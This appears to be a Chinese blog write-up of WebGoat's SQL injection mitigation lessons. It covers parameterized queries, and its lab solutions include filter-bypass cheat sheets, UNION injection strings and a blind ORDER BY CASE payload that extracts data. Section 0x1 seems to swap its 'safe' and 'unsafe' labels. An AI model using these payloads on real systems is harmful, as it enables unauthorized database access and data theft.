前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >WEBGOAT.2.2 SQL Injection (mitigation)

WEBGOAT.2.2 SQL Injection (mitigation)

原创
作者头像
用户8478947
发布2022-09-12 18:08:40
4860
发布2022-09-12 18:08:40
举报
文章被收录于专栏:安全学习安全学习

0x1.Immutable Queries

讲了预防sql注入的一些方法。

静态查询

不安全的查询语句:

代码语言:javascript
复制
SELECT * FROM products;

安全的查询语句:

代码语言:javascript
复制
SELECT * FROM users WHERE user = "'" + session.getAttribute("UserID") + "'";
参数化查询

安全的查询语句:

代码语言:javascript
复制
String query = "SELECT * FROM users WHERE last_name = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();

0x2.Stored Procedures

安全的存储过程:
代码语言:javascript
复制
CREATE PROCEDURE ListCustomers(@Country nvarchar(30))
AS
SELECT city, COUNT(*)
FROM customers
WHERE country LIKE @Country GROUP BY city
​
EXEC ListCustomers ‘USA’
存在注入的存储过程:
代码语言:javascript
复制
CREATE PROEDURE getUser(@lastName nvarchar(25))
AS
declare @sql nvarchar(255)
set @sql = 'SELECT * FROM users WHERE
            lastname = + @LastName + '
exec sp_executesql @sql

0x3.Parameterized Queries - Java Snippet

讲了java代码中的sql查询的一个简要代码。

代码语言:javascript
复制
public static bool isUsernameValid(string username) {
    RegEx r = new Regex("^[A-Za-z0-9]{16}$");
    return r.isMatch(username);
}
​
// java.sql.Connection conn is set elsewhere for brevity.
PreparedStatement ps = null;
RecordSet rs = null;
try {
    pUserName = request.getParameter("UserName");
    if ( isUsernameValid (pUsername) ) {
        ps = conn.prepareStatement("SELECT * FROM user_table
                                   WHERE username = ? ");
        ps.setString(1, pUsername);
        rs = ps.execute();
        if ( rs.next() ) {
            // do the work of making the user record active in some way
        }
    } else { // handle invalid input }
}
catch (...) { // handle all exceptions ... }

0x4.Parameterized Queries - Java Example

讲了java代码中的sql查询的一个例子。

代码语言:javascript
复制
public static String loadAccount() {
  // Parser returns only valid string data
  String accountID = getParser().getStringParameter(ACCT_ID, "");
  String data = null;
  String query = "SELECT first_name, last_name, acct_id, balance FROM user_data WHERE acct_id = ?";
  try (Connection connection = null;
       PreparedStatement statement = connection.prepareStatement(query)) {
     statement.setString(1, accountID);
     ResultSet results = statement.executeQuery();
     if (results != null && results.first()) {
       results.last(); // Only one record should be returned for this query
       if (results.getRow() <= 2) {
         data = processAccount(results);
       } else {
         // Handle the error - Database integrity issue
       }
     } else {
       // Handle the error - no records found }
     }
  } catch (SQLException sqle) {
    // Log and handle the SQL Exception }
  }
  return data;
}

0x5.Try it! Writing safe code

过关

本关要求我们编写一个安全的java的数据库操作代码。在java中,对数据库操作前,需要先连接数据库,然后使用使用预编译prepareStatement来处理sql语句,sql语句里面的参数值要使用?来进行占位符,然后就是对?的值进行赋值set类型

image-20220910105618909
image-20220910105618909

0x6.Try it! Writing safe code

过关

要求我们编写一个完整的JDBC连接到数据库并从中请求数据代码。

要求:

  • 连接到数据库
  • 对不受SQL注入攻击的数据库执行查询
  • 查询需要至少包含一个字符串参数
代码语言:javascript
复制
String name = "BigFly";
Connection conn = null;
PreparedStatement ps = null;
try {
    conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);
    ps = conn.prepareStatement("SELECT * FROM users WHERE name = ?");
    ps.setString(1, name);
    ResultSet results = ps.executeQuery();
    System.out.println(results.next());
} catch (Exception e) {
    System.out.println("Oops. Something went wrong!");
}

这里需要注意的是,PreparedStatementConnection在进行关闭的时候,该关无法在try以外进行关闭,我经过尝试在finally里面进行关闭的时候直接报错了,这是本关的问题,正常情况下都是在finally里面进行关闭的。

image-20220910111433638
image-20220910111433638

0x7.Parameterized Queries - .NET

本关说了.NET语言中的数据库查询操作。

代码语言:javascript
复制
public static bool isUsernameValid(string username) {
    RegEx r = new Regex("^[A-Za-z0-9]{16}$");
    Return r.isMatch(username);
}
​
// SqlConnection conn is set and opened elsewhere for brevity.
try {
    string selectString = "SELECT * FROM user_table WHERE username = @userID";
    SqlCommand cmd = new SqlCommand( selectString, conn );
    if ( isUsernameValid( uid ) ) {
        cmd.Parameters.Add( "@userID", SqlDbType.VarChar, 16 ).Value = uid;
        SqlDataReader myReader = cmd.ExecuteReader();
        if ( myReader ) {
            // make the user record active in some way.
            myReader.Close();
        }
    } else { // handle invalid input }
}
catch (Exception e) { // Handle all exceptions... }

0x8.Input Validation Required?

讲了数据库操作在遇到用户输入在没有检测时,会导致的一些漏洞。

  • 存储型跨站脚本漏洞
  • 信息泄露漏洞
  • 逻辑错误漏洞
  • SQL注入

0x9.Input validation alone is not enough!!

源码

首先,抓包然后就根据抓包得到的URI来进入到对于的java代码中。发现代码对用户输入的空格进行了检测。

image-20220910115004912
image-20220910115004912

对于空格的绕过我们可以使用下面的代码来进行绕过。

代码语言:javascript
复制
用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 /**/()
绕过空格注释符绕过//--%20/**/#--+-- -;%00;
​
空白字符绕过SQLite3 ——     0A,0D,0c,09,20
MYSQL
09,0A,0B,0B,0D,A0,20
PosgressSQL
0A,0D,0C,09,20
Oracle_11g
00,0A,0D,0C,09,20
MSSQL
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
特殊符号绕过
` + !
等科学计数法绕过
例:
select user,password from users where user_id0e1union select 1,2
unicode编码
  %u0020 %uff00
  %c0%20 %c0%a0 %e0%80%a0

然后进入的injectableQuery函数中,发现检测了用户输入的UNION,并且没有使用预编译的方式处理sql语句,因此存在sql注入漏洞。

sql执行的语句是:

代码语言:javascript
复制
SELECT * FROM user_data WHERE last_name = '用户输入'
image-20220910115436268
image-20220910115436268

对于UNION的绕过我们可以使用下面的代码来进行绕过。

代码语言:javascript
复制
逻辑绕过
例:
过滤代码 union select user,password from users
绕过方式 1 ; select user from users where userid = 1
​
十六进制字符绕过
union——>unio\x6e
​
大小写绕过
UnION
​
双写绕过
uniunionon
​
urlencode,ascii(char),hex,unicode编码绕过
​
关键字内联绕所有
/*!union*/
过关

根据对源码的分析,我们就能够得到一些绕过的思路,然后结合我提供的一些绕过的代码,在burpsuite进行爆破,得到其中的一个绕过是:

代码语言:javascript
复制
原型:1' union select * from user_system_data--+
​
绕过:1'/**//*!union*//**/select/**/*/**/from/**/user_system_data--+
image-20220910121833523
image-20220910121833523

0x10.Input validation alone is not enough!!

源码

在上一关的基础上多了对selectfrom的大小写过滤,但是这里只是过滤了一次,因此我们可以使用双写绕过该过滤,其余都和上一关一样,就不贴图了。

image-20220910140831541
image-20220910140831541
过关

根据对源码进行分析,我们只需要添加对selectfrom的绕过即可,我们这里采用双写绕过。

代码语言:javascript
复制
原型:1' union select * from user_system_data--+
​
绕过:1'/**//*!union*//**/selselectect/**/*/**/frfromom/**/user_system_data--+
image-20220910141229992
image-20220910141229992

0x11.Order by clause

讲了preparedstatement并不能防止所有的sql注入攻击。

比如使用order by语句的时候,由于预编译是会自动加引号的,因此order by后不能参数化(后面一般接的是字段名)。看以下的例子就能很好理解了。

代码语言:javascript
复制
# 正确的order by
select * from userTable order by uid
# 经过preparedstatement处理的order by语句,可以发现order by接的是参数,而不是字段,因此该语句是错误的
select * from userTable order by 'uid'

同理,任何不能加引号的位置都不能参数化,因此都有可能存在sql注入漏洞。因此可以专门找有排序功能的页面来进行漏洞的挖掘。

代码语言:javascript
复制
# 一个注入的例子:
        "select * from users order by " + sortColumName + ";"
​
# 注入的语句:
        select * from users order by (
            case
                when (true) 
                    then lastname 
                else firstname
            end
        )
# 该语句在when条件为正确时,就会根据lastname来进行排序;否则就根据firstname来进行排序。因此我们可以据此来判断数据库中那些资源是正确的。

0x12.LIST OF SERVERS

源码

随便输入一条数据来进行抓包,得到URISqlInjectionMitigations/attack12a

image-20220910145132733
image-20220910145132733

查看源码可以发现,使用预编译来进行处理,并且没有order by,无懈可击。

image-20220910145230063
image-20220910145230063

点击列来进行排序抓包,发现URISqlInjectionMitigations/servers,查看源码可以发现使用了order by,并且表是servers,因此很可能存在sql注入点。

代码语言:javascript
复制
@RestController
@RequestMapping("SqlInjectionMitigations/servers")
@Slf4j
public class Servers {
    private final LessonDataSource dataSource;
    @AllArgsConstructor
    @Getter
    private class Server {
        private String id;
        private String hostname;
        private String ip;
        private String mac;
        private String status;
        private String description;
    }
    public Servers(LessonDataSource dataSource) {
        this.dataSource = dataSource;
    }
    @GetMapping(produces = MediaType.APPLICATION_JSON_VALUE)
    @ResponseBody
    public List<Server> sort(@RequestParam String column) throws Exception {
        List<Server> servers = new ArrayList<>();
        try (Connection connection = dataSource.getConnection();
             PreparedStatement preparedStatement = connection.prepareStatement("select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by " + column)) {
            ResultSet rs = preparedStatement.executeQuery();
            while (rs.next()) {
                Server server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));
                servers.add(server);
            }
        }
        return servers;
    }
}
过关

题目要求我们得到webgoat-prd的ip地址xxx.130.219.202,由于后九位的ip地址知道,所以只需要知道前三为ip地址xxx。

随便点击一列来进行排序,然后抓包,修改数据包为:

代码语言:javascript
复制
(case+when(substring((select+ip+from+servers+where+hostname='webgoat-pre-prod'),1,1)='1')+then+hostname+else+ip+end)--+ 

为了美观,这里进行一些处理。

可以很容易发现,当条件符合的时候,是根据hostname来进行排序的;而不符合的时候是根据ip来进行排序的。

代码语言:javascript
复制
(
    case
        when(substring((select+ip+from+servers+where+hostname='webgoat-pre-prod'),1,1)='1')
            then hostname
    else
        ip
    end
)--+ 

发送以下正确数据包

代码语言:javascript
复制
(case+when(substring((select+ip+from+servers+where+hostname='webgoat-pre-prod'),1,1)='1')+then+hostname+else+ip+end)--+ 

记录下正确情况下的id排序:3->1->4->2

image-20220910153129434
image-20220910153129434

发送以下错误数据包

代码语言:javascript
复制
(case+when(substring((select+ip+from+servers+where+hostname='webgoat-pre-prod'),1,1)='2')+then+hostname+else+ip+end)--+ 

记录下正确情况下的id排序:2->3->1->4

image-20220910153719549
image-20220910153719549

我们可以根据id排序是否为3->1->4->2来进行爆破查询webgoat-prd的前三位ip地址,其中的数据包是:

代码语言:javascript
复制
(case+when(substring((select+ip+from+servers+where+hostname='webgoat-prd'),1,1)='1')+then+hostname+else+ip+end)--+ 
image-20220910154823421
image-20220910154823421

这里得到第一位ip地址是1,同理可以爆破得到第二位和第三位ip地址,为了篇幅小,这里就忽略第二位和第三位的爆破过程了。前三位是104

image-20220910154904348
image-20220910154904348

0x13.Least Privilege

讲到了最低权限:

  • 使用最低权限集连接。
  • 应用程序应该为每个信任区别使用不同的凭据连接到数据库。
  • 应用程序很少需要表或数据库的删除权限。
  • 数据库帐户应限制模式访问。
  • 为读和读/写访问定义数据库帐户。
  • 基于访问的多个连接池。
  • 对身份验证查询使用只读访问。
  • 对数据修改查询使用读/写访问。
  • 使用execute访问存储过程调用。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x1.Immutable Queries
    • 静态查询
      • 参数化查询
      • 0x2.Stored Procedures
        • 安全的存储过程:
          • 存在注入的存储过程:
          • 0x3.Parameterized Queries - Java Snippet
          • 0x4.Parameterized Queries - Java Example
          • 0x5.Try it! Writing safe code
            • 过关
            • 0x6.Try it! Writing safe code
              • 过关
              • 0x7.Parameterized Queries - .NET
              • 0x8.Input Validation Required?
              • 0x9.Input validation alone is not enough!!
                • 源码
                  • 过关
                  • 0x10.Input validation alone is not enough!!
                    • 源码
                      • 过关
                      • 0x11.Order by clause
                      • 0x12.LIST OF SERVERS
                        • 源码
                          • 过关
                          • 0x13.Least Privilege
                          相关产品与服务
                          数据库
                          云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
                          领券
                          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档